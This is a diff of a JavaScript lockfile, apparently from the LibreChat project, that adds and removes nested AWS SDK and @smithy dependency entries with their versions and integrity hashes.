- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
@@ -9565,6 +8899,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9575,12 +8911,12 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9593,14 +8929,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-aHb5cqXZocdzEkZ/CvhVjdw5l4r1aU/9iMEyoKzH4eXMowT6M0YjBpp7W/+XjkBnY8Xh0kVd55GKjnPKlCwinQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9611,28 +8947,38 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9643,28 +8989,38 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
